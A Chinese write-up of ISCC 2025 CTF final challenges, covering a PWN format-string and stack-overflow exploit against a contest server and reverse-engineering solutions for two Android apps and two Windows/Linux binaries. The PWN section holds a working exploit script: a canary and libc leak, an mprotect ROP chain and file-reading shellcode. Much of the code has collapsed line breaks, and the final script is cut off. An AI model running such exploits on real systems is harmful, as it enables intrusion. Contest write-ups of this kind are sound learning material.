当前位置: 首页 > news >正文

ISCC 2025决赛 wp

PWN

Dilemma

64位程序没有开启PIE,并且过滤了execve,不能使用system这些的了,所以要考虑ORW来做

进入main函数分析,这里有两个函数一个func_1一个func_2。

这两个函数都有漏洞,以下是详细分析:

对于func_1函数

这个函数只允许运行一次,运行后就把HP,MP置空了,然后第一个read函数这里读入数据后就执行printf函数

这里的printf不安全存在格式字符串漏洞,可以利用这里的printf泄露栈上的地址和libc这些的。

然后后面的这个read函数存在栈溢出漏洞。

之后来看func_2函数

buf栈的大小只有0x30但可以读入0x100的大小,这里又有栈溢出漏洞,下面printf还有个格式化字符串漏洞。所以这个题的利用方法挺多的。

首先是要确定题目用的什么libc,要不然比较难搞。

这里通过格式化字符串漏洞泄露出puts的libc地址,然后利用LibcSearcher搜索到libc的版本libc6_2.35-0ubuntu3.8_amd64,然后再LibcSearcher下有个专门放libc的文件,去里面把这个libc6_2.35-0ubuntu3.8_amd64复制出来就欧克了。

然后利用mprotect函数结合栈溢出给栈开辟可读可执行的区域,执行我们的shellcode。如图:

然后就可以ORW了

EXP:

from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')pwnfile = "./attachment-42"
io = remote("101.200.155.151", 12500)
elf = ELF(pwnfile)
libc = ELF("./libc6_2.35-0ubuntu3.8_amd64.so")def send(data):io.send(data)def sendafter(delim, data):io.sendafter(delim, data)def sendline(data):io.sendline(data)def sendlineafter(delim, data):io.sendlineafter(delim, data)def recv(num=4096):return io.recv(num)def recvuntil(delims):return io.recvuntil(delims)def interactive():io.interactive()def unpack32(data):return u32(data.ljust(4, b'\x00'))def unpack64(data):return u64(data.ljust(8, b'\x00'))def leak_info(name, addr):log.success('{} = {:#x}'.format(name, addr))def log_address(address, data):log.success('%s: ' % (address) + hex(data))def choice(idx):sendlineafter(b"where are you go?", str(idx))puts_got = elf.got['puts']
pop_rdi = 0x000000000040119a
pop_rsi_r15 = 0x000000000040119c
shellcode = shellcraft.openat(-100, "/flag.txt", 0)
shellcode += shellcraft.sendfile(1, 3, 0, 0x50)def exploit():choice(1)recvuntil(b"Enter you password:")payload = b"%8$s.a%11$p%12$p" + p64(puts_got)sendline(payload)puts_addr = unpack64(io.recvuntil(b"\x7f")[-6:])recvuntil(b"0x")canary = int(recv(16), 16)recvuntil(b"0x")stack_addr = int(recv(12), 16) - 56mmap_addr = stack_addr - (stack_addr & 0xfff)target_addr = stack_addr - 24libc_base = puts_addr - libc.sym["puts"]pop_rdx_r12 = 0x000000000011f2e7 + libc_basemprotect_addr = libc_base + libc.sym["mprotect"]print("libc_base--------------->: ", hex(libc_base))recvuntil(b"I will check your password:")payload = b"a" * 0x4sendline(payload)choice(2)recvuntil(b"We have a lot to talk about")payload = b"1" * 0x28 + p64(canary) + p64(0)payload += p64(pop_rdi) + p64(mmap_addr)payload += p64(pop_rsi_r15) + p64(0x1000) + p64(0) + p64(pop_rdx_r12)payload += p64(7) + p64(0) + p64(mprotect_addr)payload += p64(target_addr + len(payload) + 8)payload += asm(shellcode)sendline(payload)interactive()exploit()

MOBILE:

GGAD

先用jadx分析,在主函数中找到,这是核心的验证逻辑,分为几个部分:

image-20250517112404861

验证key的部分:

  • 获取key输入框的内容并去除首尾空格如果key为空,显示提示并返回,将key设置到KeyManager中,调用native方法validateKey验证key,如果验证失败显示错误提示并返回.

验证flag的部分:

  • 获取flag输入框的内容并去除首尾空格如果flag为空,显示提示并返回,检查flag格式是否正确(必须以"ISCC{“开头,以”}"结尾),否则显示格式错误

最后,提取flag内容部分(去掉"ISCC{“和”}"),调用一个名为a的类的a方法进行验证,传入key和flag内容,根据验证结果显示成功或失败消息

然后我们来看a的类

  • 使用native方法JNI1处理flag内容和key,使用native方法JNI1处理flag内容和key,对二进制字符串再次使用native方法处理即JN2

    • 将JNI2的结果传给b.a()进行最终验证

    • 数据处理流程:

      flagContent + key → JNI1 → 十六进制到二进制转换 → JNI2 → 最终验证
      

对于JN1: 这个函数实现了RC4加密算法,用于处理MainActivity中传入的flag和key

对于JN2中,是对二进制数据进行反转和转换操作 ,代码如下:

for (i = 0LL; v10 != i; ++i) {v13 = (unsigned __int8)v7[i];if (v13 == 49) {  // '1'的ASCII码v12 = 48;     // 转换为'0'} else {if (v13 != 48) // '0'的ASCII码continue;v12 = 49;      // 转换为'1'}std::string::push_back(&v21, v12);
}

里面还有个binaryToHex(&v18, &v21);函数,该函数是二进制转十六进制。

再来看b类

![image-20250517112404861](E:\note\picture\屏幕截图 2025-05-17 122454.png)

先预设的二进制字符串常量PRESET_VALUE,用于验证奇数位。

**extractOddPositions()**方法:

  • 提取字符串中奇数位(索引从0开始,实际是第1、3、5…位)的字符,例如:“ABCDEF” → “ACE”。

**extractEvenPositions()**方法:

  • 提取字符串中偶数位(索引从0开始,实际是第2、4、6…位)的字符,例如:“ABCDEF” → “BDF”

**validateOddPositions()**验证:

  • 对奇数位字符串进行复杂转换后与预设值比较,转换流程:
    1. 将每个字符转换为16进制表示(2位)
    2. 将16进制字符串解析为整数
    3. 将整数转换为二进制字符串
    4. 格式化为8位二进制(前面补0)
    5. 将所有结果拼接
  • 最终与PRESET_VALUE比较

**validateEvenPositions()**验证:

  • 直接比较偶数位字符串与c.a()的返回值

再来看c类

有个标准RC4算法实现,可用于加密

还有个经典Vigenère密码解密实现,只处理字母字符,其他字符原样保留,解密公式:(cipherChar - keyChar + 26) % 26

关键方法a()

public static String a() {return decrypt("2582J18CRG13", KeyManager.getKey());
}
  • 这是b类中验证偶数位时调用的方法,使用Vigenère解密字符串"2582J18CRG13",密钥来自KeyManager.getKey()(即用户输入的key)

分析完上面的内容后,逆向思路就有了,最后还差一个关键的东西那就是key,由开始的时候分析可知key在png里面。

我们发现res文件夹下有个pa.zip,解压下来。

发现一共有1000张png图片:

这里可能是lsb隐写,但写lsb脚本太麻烦了,根据前面的分析又可以知道,我们输入的key要经过validateKey 验证,在本地用ida分析libggad.so 搜索validateKey发现密钥的hash值:

把这个密钥拿到cmd5去解密:这是一条付费记录,购买后显示如下:

所以密钥是:ExpectoPatronum

通过上述所有分析,写逆向脚本:

EXP:

import itertoolsdef vigenere_decrypt(text, key):decrypted = []key_cycle = itertools.cycle(key.upper())for char in text:if char.isalpha():key_char = next(key_cycle)shift = ord(key_char) - ord('A')base = ord('A') if char.isupper() else ord('a')decrypted_char = chr((ord(char) - base - shift) % 26 + base)decrypted.append(decrypted_char)else:decrypted.append(char)return ''.join(decrypted)def binary_to_str(binary):return ''.join(chr(int(binary[i:i + 8].ljust(8, '0'), 2))for i in range(0, len(binary), 8))def interleave_strings(s1, s2):return ''.join(a + b for a, b in zip(s1, s2))[:min(len(s1), len(s2)) * 2]def hex_to_bytes(hex_str):return bytes(int(hex_str[i:i + 2], 16)for i in range(0, len(hex_str), 2))def invert_bits(binary):return ''.join('1' if b == '0' else '0' for b in binary)class RC4:def __init__(self, key):self.S = self._ksa(key.encode())def _ksa(self, key):S = list(range(256))j = 0for i in range(256):j = (j + S[i] + key[i % len(key)]) % 256S[i], S[j] = S[j], S[i]return Sdef _prga(self, data):S = self.S.copy()i = j = 0result = bytearray()for byte in data:i = (i + 1) % 256j = (j + S[i]) % 256S[i], S[j] = S[j], S[i]t = (S[i] + S[j]) % 256result.append(byte ^ S[t])return bytes(result)def decrypt(self, ciphertext):return self._prga(ciphertext)def main():binary_cipher = '010000110011010101000110001100110011001100110100010001000011001100110100001100010100001000110011'vigenere_cipher = '2582J18CRG13'key = 'ExpectoPatronum'decrypted_vigenere = vigenere_decrypt(vigenere_cipher, key)binary_str = binary_to_str(binary_cipher)interleaved = interleave_strings(binary_str, decrypted_vigenere)if len(interleaved) % 2 != 0:interleaved = interleaved[:-1]byte_data = hex_to_bytes(interleaved)binary_repr = ''.join(f"{byte:08b}" for byte in byte_data)inverted_bits = invert_bits(binary_repr)final_cipher = bytes(int(inverted_bits[i:i + 8].ljust(8, '0'), 2)for i in range(0, len(inverted_bits), 8))rc4 = RC4(key)decrypted = rc4.decrypt(final_cipher)try:flag = decrypted.decode('utf-8')except UnicodeDecodeError:try:flag = decrypted.decode('latin-1')except:flag = ''.join(f'\\x{byte:02x}' for byte in decrypted)print(f"ISCC{{{flag}}}")if __name__ == "__main__":main()

叽米是梦的开场白

进入主函数:

加载本地库 libmobile04.so

  • decryptSegment():解密DEX文件分段。getEncryptedSegment():获取加密的DEX分段。

  • 广播过滤器 com.example.mobile04.GET_DEXcom.example.mobile04.DEX_SEGMENT 用于安全通信。

验证码检查逻辑

用户输入验证码。通过 native的方法BdCheck() 生成基础字符串。验证输入是否匹配处理后的字符串(B()结果)。若匹配,保存 C() 生成的token到SharedPreferences

这里来看B和C函数:

    • B(String str):反转字符串并移除数字(如输入 a1b2c3cba)。
    • C(String str):提取字符串中的数字(如输入 a1b2c3123)。

这里是DataReceiver(接收并组装DEX),分段索引通过 index 标识,确保顺序正确。最终写入 files/decrypted.dex,供后续验证使用。这里就是动态加载dex文件,dex文件从lib文件mobile04可以得到

在lib文件夹下找到mobile04.so,拖入IDA中分析。

这里分析getEncryptedSegment函数,这里看到了一个数组

可以看到这里是一个正常的dex文件头,应该没有加密,把他们都复制下面,写入文件。

![屏幕截图 2025-05-17 210033](E:\note\picture\iscc\屏幕截图 2025-05-17 210033.png)s=[100, 101, 120,  10,  48,  51,  53,   0,  58,  31,254, 115,  96, 254,  46, 172,  76,   7,  53, 152,229, 176, 230,  44, 234, 166, 170, 229, 141, 164,196,  76, 248,   6,   0,   0, 112,   0,   0,   0,120,  86,  52,  18,   0,   0,   0,   0,   0,   0,0,   0,  88,   6,   0,   0,  39,   0,   0,   0,112,   0,   0,   0,  15,   0,   0,   0,  12,   1,0,   0,  10,   0,   0,   0,  72,   1,   0,   0,0,   0,   0,   0,   0,   0,   0,   0,  15,   0,0,   0, 192,   1,   0,   0,   1,   0,   0,   0,56,   2,   0,   0, 160,   4,   0,   0,  88,   2,0,   0, 166,   3,   0,   0, 176,   3,   0,   0,184,   3,   0,   0, 192,   3,   0,   0, 217,   3,0,   0, 220,   3,   0,   0, 245,   3,   0,   0,248,   3,   0,   0, 252,   3,   0,   0,  29,   4,0,   0,  52,   4,   0,   0,  72,   4,   0,   0,102,   4,   0,   0, 122,   4,   0,   0, 142,   4,0,   0, 165,   4,   0,   0, 186,   4,   0,   0,206,   4,   0,   0, 229,   4,   0,   0,   8,   5,0,   0,  16,   5,   0,   0,  31,   5,   0,   0,34,   5,   0,   0,  39,   5,   0,   0,  43,   5,0,   0,  48,   5,   0,   0,  51,   5,   0,   0,55,   5,   0,   0,  60,   5,   0,   0,  64,   5,0,   0,  75,   5,   0,   0,  84,   5,   0,   0,93,   5,   0,   0, 101,   5,   0,   0, 111,   5,0,   0, 124,   5,   0,   0, 132,   5,   0,   0,138,   5,   0,   0, 151,   5,   0,   0,   4,   0,0,   0,   8,   0,   0,   0,   9,   0,   0,   0,10,   0,   0,   0,  11,   0,   0,   0,  12,   0,0,   0,  13,   0,   0,   0,  14,   0,   0,   0,15,   0,   0,   0,  16,   0,   0,   0,  17,   0,0,   0,  18,   0,   0,   0,  21,   0,   0,   0,25,   0,   0,   0,  28,   0,   0,   0,   7,   0,0,   0,  10,   0,   0,   0, 120,   3,   0,   0,21,   0,   0,   0,  12,   0,   0,   0,   0,   0,0,   0,  22,   0,   0,   0,  12,   0,   0,   0,128,   3,   0,   0,  23,   0,   0,   0,  12,   0,0,   0, 120,   3,   0,   0,  23,   0,   0,   0,12,   0,   0,   0, 136,   3,   0,   0,  24,   0,0,   0,  12,   0,   0,   0, 144,   3,   0,   0,26,   0,   0,   0,  13,   0,   0,   0, 120,   3,0,   0,  27,   0,   0,   0,  13,   0,   0,   0,152,   3,   0,   0,   6,   0,   0,   0,  14,   0,0,   0,   0,   0,   0,   0,   7,   0,   0,   0,14,   0,   0,   0, 160,   3,   0,   0,   1,   0,1,   0,   0,   0,   0,   0,   1,   0,   1,   0,1,   0,   0,   0,   1,   0,   6,   0,  29,   0,0,   0,   1,   0,   9,   0,  31,   0,   0,   0,1,   0,   8,   0,  35,   0,   0,   0,   3,   0,1,   0,   1,   0,   0,   0,   4,   0,   3,   0,1,   0,   0,   0,   4,   0,   4,   0,   1,   0,0,   0,   5,   0,   8,   0,  33,   0,   0,   0,6,   0,   3,   0,  37,   0,   0,   0,   9,   0,7,   0,  32,   0,   0,   0,  10,   0,   9,   0,30,   0,   0,   0,  10,   0,   0,   0,  34,   0,0,   0,  10,   0,   2,   0,  36,   0,   0,   0,11,   0,   5,   0,   1,   0,   0,   0,   1,   0,0,   0,   1,   0,   0,   0,   3,   0,   0,   0,0,   0,   0,   0,  20,   0,   0,   0,   0,   0,0,   0,  53,   6,   0,   0,   0,   0,   0,   0,2,   0,   1,   0,   2,   0,   0,   0,  88,   3,0,   0,  32,   0,   0,   0, 110,  16,   8,   0,1,   0,  12,   1, 113,  16,   3,   0,   1,   0,12,   1,  19,   0,  16,   0,  35,   0,  14,   0,38,   0,   8,   0,   0,   0, 113,  32,  10,   0,1,   0,  10,   1,  15,   1,   0,   3,   1,   0,16,   0,   0,   0,  49,  65,  54,  56,  56,  50,68,  68,  49,  49,  70,  51,  53,  53,  69,  52,4,   0,   1,   0,   3,   0,   1,   0,  95,   3,0,   0,  48,   0,   0,   0, 113,   0,   4,   0,0,   0,  12,   0,  56,   0,  29,   0,  33,   1,19,   2,  24,   0,  51,  33,  24,   0,  34,   1,11,   0,  26,   2,   2,   0, 112,  48,  14,   0,1,   2,  26,   0,   3,   0, 113,  16,  12,   0,0,   0,  12,   0,  18,  18, 110,  48,  13,   0,32,   1, 110,  32,  11,   0,  48,   0,  12,   3,17,   3,  34,   3,   4,   0,  26,   0,   5,   0,112,  32,   6,   0,   3,   0,  39,   3,  13,   3,34,   0,   4,   0, 112,  32,   7,   0,  48,   0,39,   0,   0,   0,   0,   0,  41,   0,   1,   0,1,   1,   2,  41,   1,   0,   0,   0,   1,   0,0,   0, 110,   3,   0,   0,   6,   0,   0,   0,26,   0,  19,   0, 113,  16,   9,   0,   0,   0,14,   0,   1,   0,   1,   0,   1,   0,   0,   0,115,   3,   0,   0,   4,   0,   0,   0, 112,  16,5,   0,   0,   0,  14,   0,  32,   1,   0,  14,135, 120,   0,  16,   1,   0,  14,  75, 123, 120,105,  76,   2, 121,  89, 142,  30,   0,  10,   0,14,  90,   0,   6,   0,  14,   0,   0,   1,   0,0,   0,   5,   0,   0,   0,   2,   0,   0,   0,0,   0,   8,   0,   1,   0,   0,   0,   7,   0,0,   0,   2,   0,   0,   0,  14,   0,   5,   0,2,   0,   0,   0,  14,   0,  14,   0,   1,   0,0,   0,  14,   0,   8,  60,  99, 108, 105, 110,105, 116,  62,   0,   6,  60, 105, 110, 105, 116,62,   0,   6,  68,  69,  83, 101, 100, 101,   0,23,  68,  69,  83, 101, 100, 101,  47,  69,  67,66,  47,  80,  75,  67,  83,  53,  80,  97, 100,100, 105, 110, 103,   0,   1,  73,   0,  23,  73,110, 118,  97, 108, 105, 100,  32, 107, 101, 121,32, 102, 114, 111, 109,  32, 110,  97, 116, 105,118, 101,   0,   1,  76,   0,   2,  76,  76,   0,31,  76,  99, 111, 109,  47, 101, 120,  97, 109,112, 108, 101,  47, 109, 111,  98, 105, 108, 101,48,  52,  47,  83, 117, 110, 100,  97, 121,  49,49,  59,   0,  21,  76, 106,  97, 118,  97,  47,108,  97, 110, 103,  47,  69, 120,  99, 101, 112,116, 105, 111, 110,  59,   0,  18,  76, 106,  97,118,  97,  47, 108,  97, 110, 103,  47,  79,  98,106, 101,  99, 116,  59,   0,  28,  76, 106,  97,118,  97,  47, 108,  97, 110, 103,  47,  82, 117,110, 116, 105, 109, 101,  69, 120,  99, 101, 112,116, 105, 111, 110,  59,   0,  18,  76, 106,  97,118,  97,  47, 108,  97, 110, 103,  47,  83, 116,114, 105, 110, 103,  59,   0,  18,  76, 106,  97,118,  97,  47, 108,  97, 110, 103,  47,  83, 121,115, 116, 101, 109,  59,   0,  21,  76, 106,  97,118,  97,  47, 108,  97, 110, 103,  47,  84, 104,114, 111, 119,  97,  98, 108, 101,  59,   0,  19,76, 106,  97, 118,  97,  47, 115, 101,  99, 117,114, 105, 116, 121,  47,  75, 101, 121,  59,   0,18,  76, 106,  97, 118,  97,  47, 117, 116, 105,108,  47,  65, 114, 114,  97, 121, 115,  59,   0,21,  76, 106,  97, 118,  97, 120,  47,  99, 114,121, 112, 116, 111,  47,  67, 105, 112, 104, 101,114,  59,   0,  33,  76, 106,  97, 118,  97, 120,47,  99, 114, 121, 112, 116, 111,  47, 115, 112,101,  99,  47,  83, 101,  99, 114, 101, 116,  75,101, 121,  83, 112, 101,  99,  59,   0,   6,  83,117, 110, 100,  97, 121,   0,  13,  83, 117, 110,100,  97, 121,  49,  49,  46, 106,  97, 118,  97,0,   1,  86,   0,   3,  86,  73,  76,   0,   2,86,  76,   0,   3,  86,  76,  76,   0,   1,  90,0,   2,  90,  76,   0,   3,  90,  76,  76,   0,2,  91,  66,   0,   9,  99, 104, 101,  99, 107,70, 108,  97, 103,   0,   7, 100, 111,  70, 105,110,  97, 108,   0,   7, 101, 110,  99, 114, 121,112, 116,   0,   6, 101, 113, 117,  97, 108, 115,0,   8, 103, 101, 116,  66, 121, 116, 101, 115,0,  11, 103, 101, 116,  73, 110, 115, 116,  97,110,  99, 101,   0,   6, 103, 101, 116,  75, 101,121,   0,   4, 105, 110, 105, 116,   0,  11, 108,111,  97, 100,  76, 105,  98, 114,  97, 114, 121,0, 155,   1, 126, 126,  68,  56, 123,  34,  98,97,  99, 107, 101, 110, 100,  34,  58,  34, 100,101, 120,  34,  44,  34,  99, 111, 109, 112, 105,108,  97, 116, 105, 111, 110,  45, 109, 111, 100,101,  34,  58,  34, 100, 101,  98, 117, 103,  34,44,  34, 104,  97, 115,  45,  99, 104, 101,  99,107, 115, 117, 109, 115,  34,  58, 102,  97, 108,115, 101,  44,  34, 109, 105, 110,  45,  97, 112,105,  34,  58,  49,  44,  34, 115, 104,  97,  45,49,  34,  58,  34,  97,  98,  97,  97,  98,  52,54,  57,  98,  53, 101,  98, 100,  52, 100, 100,50,  98,  98,  57,  49,  98,  97,  48, 101, 100,54, 102,  52,  53,  50,  55,  55, 102,  97,  97,101,  52,  99,  97,  34,  44,  34, 118, 101, 114,115, 105, 111, 110,  34,  58,  34,  56,  46,  54,46,  50,  45, 100, 101, 118,  34, 125,   0,   0,0,   5,   0,   0, 136, 128,   4, 164,   6,   1,129, 128,   4, 192,   6,   1,   9, 216,   4,   1,9, 168,   5,   1, 137,   2,   0,   0,   0,   0,0,   0,   0,   0,  13,   0,   0,   0,   0,   0,0,   0,   1,   0,   0,   0,   0,   0,   0,   0,1,   0,   0,   0,  39,   0,   0,   0, 112,   0,0,   0,   2,   0,   0,   0,  15,   0,   0,   0,12,   1,   0,   0,   3,   0,   0,   0,  10,   0,0,   0,  72,   1,   0,   0,   5,   0,   0,   0,15,   0,   0,   0, 192,   1,   0,   0,   6,   0,0,   0,   1,   0,   0,   0,  56,   2,   0,   0,1,  32,   0,   0,   4,   0,   0,   0,  88,   2,0,   0,   3,  32,   0,   0,   4,   0,   0,   0,88,   3,   0,   0,   1,  16,   0,   0,   6,   0,0,   0, 120,   3,   0,   0,   2,  32,   0,   0,39,   0,   0,   0, 166,   3,   0,   0,   0,  32,0,   0,   1,   0,   0,   0,  53,   6,   0,   0,3,  16,   0,   0,   1,   0,   0,   0,  84,   6,0,   0,   0,  16,   0,   0,   1,   0,   0,   0,88,   6,   0
]
with open("decrypted.dex", "wb") as f:f.write(bytes(s))

然后把生成的decrypted.dex放进jeb中分析:

DESede/ECB 加密,密钥在sunday.so中,加密后的内容是:49, 65, 54, 56, 56, 50, 68, 68, 49, 49, 70, 51, 53, 53, 69, 52

密钥是:ysg6OquYJKfPyhQj0h1eTemM

然后去赛博厨子解密:

然后继续回到mainactivity中:

首先检查输入字符串str的基本格式:

  • 长度必须≥13个字符,必须以"ISCC{“开头,必须以”}"结尾,如果不符合这些条件,立即通过回调返回false

然后检查是否存在"decrypted.dex"文件:

这里的Checkflag就是前面那个dex的函数解密出来的值。然和着重来看看checkflag2

image-20250517211701517

丢给AI分析:

这里用密钥 “mihoyoZZZStarRai” 创建 AES 密钥,获取 AES/ECB/PKCS5Padding 加密实例

加密比较:对输入字符串 str 进行加密,对硬编码字符串 “si(%f0yo” 进行加密,比较两个加密结果是否相同

但这里是假的flag因为FFlag就是fake flag

接下来分析第二部分,这部分调用了a的a方法,这里的loadEncryptedLib是从assets读取的

image-20250517212558874

image-20250517213037521

我们进入a类:

image-20250517213142449

这里才是checkflag2的地方,这个代码的主要实现在Monday中,分析Monday.so文件

image-20250517215549566

我们在这里可以发现v9就是参数,可以看到传入的enreal数组,在后面的循环里对enreal里面的二进制数据进行解密操作。

我们写一个解密脚本:

def transform_byte(b):b = (b << 2 | b >> 6) & 0xFFb ^= 0xAAreturn (b >> 3 | b << 5) & 0xFFwith open("enreal", "rb") as src, open("decode_enreal", "wb") as dst:dst.write(bytes(transform_byte(b) for b in src.read()))

然后把生成的decode_enreal文件丢进ida中分析:

在ida中搜索check函数,发现一个real_check函数打开分析:这里看到des_ede3_ecb,这里是一个进行三次的des加密。P6teIPg0XAc0tyusl7BEdyPF这个字符串就是我们要要的密钥,0xABEA84A86853DF2F 就是密文,这里还有进行大小端转换。

image-20250517220758349

然后也是赛博解密:

把上面的第一部分flag和这部分flag合并起来就是完整的flag

flag:ISCC{oJ9j2xiwgjkkhf}

RE:

CrackMe

把文件拖入IDA中,进入WinMain函数:

标准的Windows GUI应用程序入口函数 WinMain 的实现,用于创建一个简单的窗口应用程序。

这里进入sub_1400013E0函数:

hWnd = GetDlgItem(hWndParent, 1);  // 获取ID=1的控件句柄(编辑框)
GetWindowTextW(hWnd, &v12[5], 256); // 读取用户输入的文本到v12[5]
  • sub_1400048ACsub_1400048AC 是一个 高度优化的宽字符字符串长度计算函数(类似 wcslen),主要用于快速计算以 null 结尾的 Unicode 字符串(wchar_t*)的长度。

  • strcpy:将 "SecretKey" 复制到 v12(secretkey用作密钥)。

  • sub_1400012A0:进一步处理输入文本(使用密钥加密)

    这个程序有很多地方都有花指令,去掉花指令后分析。

    对于sub_140001000函数有个异或65的加密

    image-20250517235002532

    这里对于sub_7FF6DCCB1080函数

    这个函数是一个 字符串处理函数,它遍历一个宽字符(WORD,即 wchar_t)数组,并对每个字母字符进行位移操作。

    这里着重看看sub_1400012A0函数

这段代码实现了一个类似RC4的流加密算法。以下是关键点分析:(丢给AI)

  • v8 = HIDWORD(a1)获取输入数据长度sub_140001160(v9)可能初始化256字节的S盒(代码中显示为4字节数组,实际可能被优化)

  • 使用v6v5作为状态索引,通过模256运算保持范围sub_140001260函数实现S盒的交换操作(类似RC4的swap),最终通过异或运算^=实现流加密

对于sub_140001160(v9) 函数:

这个函数是 RC4 密钥调度算法,用于初始化 RC4 的 S 盒)。结合之前分析的 sub_1400012A0),可以确认这是一个完整的 RC4 加密/解密 实现.

这是sub_140001260的交换操作

char *__fastcall sub_140001260(char *a1, char *a2)
{char *result; // raxchar v3; // [rsp+7h] [rbp-11h]v3 = *a1;*a1 = *a2;result = a2;*a2 = v3;return result;
}

然后回到sub_1400013E0函数,分析这个函数:sub_1400029D0(String2, &unk_140010010, 44i64);

对于sub_1400029D0是 实现了一个高效的内存拷贝函数,其功能是将源地址unk_140010010处的44字节数据复制到目标地址String2中。

点击unk_140010010查看数据,把数据提取出来:

通过上面所有分析逆向写代码:

EXP:

def rc4_decrypt(ciphertext, key):S = list(range(256))j = 0for i in range(256):j = (j + S[i] + key[i % len(key)]) % 256S[i], S[j] = S[j], S[i]i = j = 0plaintext = []for byte in ciphertext:i = (i + 1) % 256j = (j + S[i]) % 256S[i], S[j] = S[j], S[i]k = S[(S[i] + S[j]) % 256]plaintext.append(byte ^ k)return bytes(plaintext)def caesar_decrypt(text):result = []for c in text:if ord('a') <= c <= ord('z'):result.append((c - ord('a') - 3) % 26 + ord('a'))elif ord('A') <= c <= ord('Z'):result.append((c - ord('A') - 3) % 26 + ord('A'))else:result.append(c)return bytes(result)def selective_xor(text):result = []for i in range(0, len(text), 2):result.append(text[i] ^ 65)return bytes(result)s = [0x1C, 0xB8, 0x2E, 0x47, 0xDD, 0x72, 0x1C, 0xA2, 0xDE, 0x13,0x4C, 0x46, 0x82, 0xF0, 0x33, 0x81, 0xAA, 0xE6, 0xF3, 0xEE,0x05, 0x9A, 0x32, 0x28, 0x7D, 0x6B, 0xBF, 0xE8, 0x94, 0x24,0x97, 0x3F, 0xF8, 0x15, 0x53, 0x17, 0xEF, 0x91, 0x8B, 0xFE,0x35, 0x74
]key = "SecretKey".encode()
decrypted = rc4_decrypt(s, key)
print("RC4 Decrypted (hex):", decrypted.hex())caesar_output = caesar_decrypt(decrypted)
print("Caesar Decrypted (hex):", caesar_output.hex())final_output = selective_xor(caesar_output)
print("Final Output (hex):", final_output.hex())try:print("Final ASCII:", final_output.decode('ascii'))
except UnicodeDecodeError:print("Final output is not ASCII (may be binary data)")

uglyCpp

放进ida分析。

image-20250517235502393

调用了一个复杂命名的函数ZNK17g3uSFZt86rfKFJog2MUlRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEE_clES6,对 v12(输入)进行处理。

进入ZNK17g3uSFZt86rfKFJog2MUlRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEE_clES6函数分析:

image-20250517235825388

这里代码量很大有很难理解,没关系,我们交给Ai分析一下:

AI分析:

从代码逻辑来看,是在处理一个字符串(std::string),并构建一个树状结构(可能是二叉树),其中每个节点是一个strc类型的对象,通过std::shared_ptr管理。

strc结构推测

  • 左子节点指针偏移:+8(可能是strc* left)。右子节点指针偏移:+24(可能是strc* right)。

  • 因此,strc可能类似:

    struct strc {char data;           // +0strc* left;          // +8strc* right;         // +24
    };
    

输入:一个字符串(std::string)。

输出:一个std::shared_ptr<strc>,指向由字符串构建的二叉树根节点。树的构建方式:根节点:字符串的第一个字符。后续字符按层次遍历顺序分配给左右子节点。

然后再分析**ZNK17KDXgsB2q4YQad5xBZMUlRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEE_clES6_**函数

image-20250518102146376

这是将一个 std::string 转换为 std::vector<unsigned int>,其中每4个连续的字符被组合成一个32位无符号整数(小端序存储)

然后进入ZNK25mJ6Xq4ExTMs4qaNhgFkHaofHSMUlRKSt6vectorIjSaIjEEE_clES3_函数:

image-20250518105455887

这个函数进行加密以及校验,可以看到这了有三个函数。进入ZZNK25mJ6Xq4ExTMs4qaNhgFkHaofHSMUlRKSt6vectorIjSaIjEEE_clES3_ENKUlvE_clEv 函数:

image-20250518110411415

从索引1开始遍历vector,每个元素的值等于前一个元素的值减去1640531527(十六进制0x61C88647),循环直到处理完所有元素。

这就是生成一个固定的数组,对于下一个函数

image-20250518111218364

这个函数实际上实现了一个vector的拷贝并反转的操作,使用了STL的std::reverse算法来反转元素函数返回新构造的vector(通过a1返回)

对于第三个函数:

image-20250518111304233

这个函数就是对之前的生成的数组和key进行复杂的运算,最后的结果会得到一个新的数组。

这三个函数的初始值都是固定的,运行过程也没有什么动态的参数传近来,所以生成的结果也是一个定值。

然后我们在进入ZNK28gxoPJ4FNZcYkWUGp7wE96Z9Pzuw8MUlRKSt6vectorIjSaIjEES3_mE_clES3_S3_m函数进行分析

image-20250518112216395

这个函数是一个复杂的向量处理函数,主要功能是对两个输入向量进行某种组合处理并输出结果。

将输入向量按4个元素一组进行处理,每组元素与通过ZNK28gxoPJ4FNZcYkWUGp7wE9y2iw8unMMUlRKSt6vectorIjSaIjEES3_E_clES3_S3_函数生成的值进行异或操作,这一串的操作也是固定值生成固定值。然后来分析一下ZNK28gxoPJ4FNZcYkWUGp7wE9y2iw8unMMUlRKSt6vectorIjSaIjEES3_E_clES3_S3_函数:

image-20250518112852175

ZNK22S7rbqdRXd18oVRCMfwW2ZgMUljjE_clEjj是核心非线性函数,从使用模式看,可能实现:旋转、模乘或位混合操作

使用44个密钥字(索引0-43),前2个用于初始化,中间40个用于20轮变换(每轮2个),最后2个用于最终处理,Feistel结构特征:每轮处理两个32位字(v12/v14),使用另两个字(v13/v15)作为"轮密钥",通过swap操作实现数据扩散。

然后回到主函数分析ZNK12S4V3u5wVUXnyMUlRSt6vectorIjSaIjEEE_clES2_函数:

image-20250518113232660

使用v13数组初始化临时vector(v12),首先检查输入vector大小是否为9不等则跳转到错误处理,使用迭代器遍历两个vector,比较每个对应位置的元素,任何不匹配立即终止并报错。加密流程就是层序转后序,然后进行异或,我们可以在进行异或前把输入的值全改为0,异或后就能得到我们要的xor数组。

addr = 0x13E1C90
for i in range(0x24):patch_byte(addr+i,0)

image-20250518120906941

输入的值全改为0后等异或结束后,再输出异或后的值:

addr = 0x13E1C90
data = [0 for i in range(9)]
for i in range(9):data[i] = get_wide_dword(addr+i*4)
print(data)

image-20250518141016390

如上图是异或一组后的数据,当所有数据都异或完后,就全部提取出。就能拿到xor的key

image-20250518121736672

综上分析exp:


data = [0x7D9C7D63, 0x946CCE23, 0x97B43065, 0x90B66BC2,0x5422B982, 0x2D3275B6, 0x73C3C042, 0xA28C8CB5,0xEC78C0B]
keys = [0x3ED6325B, 0xD709BF17, 0xE3F27E18, 0xA0870791,0x0146D6F9, 0x7C6140FF, 0x10B69406, 0x94DDE0F6,0x40B2BB6C]scramble = "5p6h7q8d9risbtjuevkwaxlyfzm0c1n2g3o4"
normal = "abcdefghijklmnopqrstuvwxyz0123456789"data = [x & 0xFFFFFFFF for x in data]decrypted = [data[i] ^ keys[i] for i in range(len(data))]result = ""
